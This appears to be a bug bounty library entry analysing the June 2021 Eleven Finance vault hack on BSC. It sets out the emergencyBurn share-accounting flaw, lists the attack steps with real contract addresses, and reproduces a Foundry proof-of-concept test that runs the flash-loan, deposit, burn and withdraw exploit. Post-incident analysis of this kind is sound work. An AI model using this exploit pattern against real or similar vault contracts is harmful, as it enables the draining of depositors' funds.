# Eleven Finance: emergencyBurn doesn't burn shares, drains vault

Eleven Finance vault's emergencyBurn failed to burn shares, letting attacker deposit LP, burn, withdraw, and drain funds via flash loan.

- Payout: Real-world hack
- Severity: high
- Program: Eleven Finance
- Analysis by: DeFiHackLabs
- Disclosed: 2021-06-22
- Write-up quality: 7/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2021-06/Eleven_exp.sol
- Library page: https://bugbountylibrary.com/r/dhl%3A20210622-eleven
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:high tech:evm tech:solidity vuln:accounting-error vuln:business-logic vuln:flash-loan

**Target:** ElevenNeverSellVault contract on BSC
**Root cause:** The emergencyBurn function did not actually burn the user's vault shares, so after calling it the attacker retained shares and could withdraw the full deposited amount plus a proportional share of the vault's existing assets.
**Steps:**
1. Flash loan 953,869,628,210,538,003,222,368 BUSD from ApeSwap pair `0x51e6D27FA57373d8d4C256231241053a70Cb1d93` via `swap(0, amount, address(this), "Gimme da loot")`.
2. Swap 340,631,231,201,021,740,166,440 BUSD for NRV using PancakeRouter path `[BUSD, NRV]`.
3. Add liquidity to PancakeSwap NRV/BUSD pool with 474,378,756,062,092,796,179,091 NRV and 366,962,025,372,860,720,681,305 BUSD, receiving LP tokens.
4. Deposit all LP tokens into ElevenNeverSellVault `0x27DD6E51BF715cFc0e2fe96Af26fC9DED89e4BE8` via `depositAll()`.
5. Call `vault.emergencyBurn()` to trigger the bug (shares not burned).
6. Call `vault.withdrawAll()` to withdraw the deposited LP tokens plus a share of the vault's assets.
7. Remove liquidity from PancakeSwap, receiving 823,030,594,158,097,624,422,918 LP tokens back (more than deposited).
8. Swap 948,757,512,124,185,592,358,179 NRV back to BUSD via path `[NRV, BUSD]`.
9. Repay flash loan by transferring 956,739,847,753,799,401,426,648 BUSD to ApeSwap pair.
**How found:** Likely identified by reviewing the vault's emergencyBurn implementation and noticing it did not reduce the caller's share balance, allowing a deposit-burn-withdraw cycle to extract value.
**Exploitation:** Attacker used a flash loan to obtain BUSD, converted to NRV, provided liquidity to get LP tokens, deposited into the vulnerable vault, called emergencyBurn (which failed to burn shares), then withdrew all shares, receiving back more LP tokens than deposited due to the vault's accounting error. After removing liquidity and swapping back, the attacker repaid the flash loan and kept the profit.
**Insight:** When auditing vaults, check that 'emergency' functions that are supposed to burn or forfeit shares actually decrement the user's balance and update total supply; otherwise they become a free withdrawal primitive.

## Proof of concept (copied exactly from the original report)

**Foundry exploit test: flashloan, deposit, emergencyBurn, withdraw**

```
function testExploit() public {
        console.log("-------Start exploit-------");

        console.log("attacker BUSD balance before is", busd.balanceOf(address(this)));

        cheats.startPrank(0xc71e2F581b77De945C8A7A191b0B238c81f11eD6);

        //Take a flashloan from apeswap
        IPancakePair(ape_lp).swap(0, 953_869_628_210_538_003_222_368, address(this), "Gimme da loot");
    }

    function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
        attack();
    }

    function attack() public {
        console.log("received BUSD flashloan for", busd.balanceOf(address(this)) / 1 ether);

        //Swap BUSD for NRV
        router.swapExactTokensForTokens(
            340_631_231_201_021_740_166_440,
            474_378_756_062_092_796_179_091,
            path_1,
            address(this),
            block.timestamp + 500 seconds
        );

        //Add liquidity to pancakeSwap and receive LP tokens
        router.addLiquidity(
            address(nrv),
            address(busd),
            474_378_756_062_092_796_179_091,
            366_962_025_372_860_720_681_305,
            474_378_756_062_092_796_179_091,
            366_962_025_372_860_720_681_305,
            address(this),
            block.timestamp + 500 seconds
        );

        //Deposit LP tokens into Eleven vault
        vault.depositAll();

        //Call emergency Burn
        vault.emergencyBurn();

        //withdraw from vault
        vault.withdrawAll();

        //remove liquidity from pancakeSwap
        router.removeLiquidity(
            address(nrv),
            address(busd),
            823_030_594_158_097_624_422_918,
            449_328_228_768_287_545_012_441,
            347_583_855_261_065_794_904_977,
            address(this),
            block.timestamp + 500 seconds
        );

        //swap NRV for BUSD
        router.swapExactTokensForTokens(
            948_757_512_124_185_592_358_179,
            624_113_299_151_540_843_640_146,
            path_2,
            address(this),
            block.timestamp + 500 seconds
        );

        //repay flashloan
        busd.transfer(ape_lp, 956_739_847_753_799_401_426_648);

        console.log("-------Finish exploit-------");

        console.log("attacker BUSD balance after is", busd.balanceOf(address(this)) / 1 ether);
    }
```

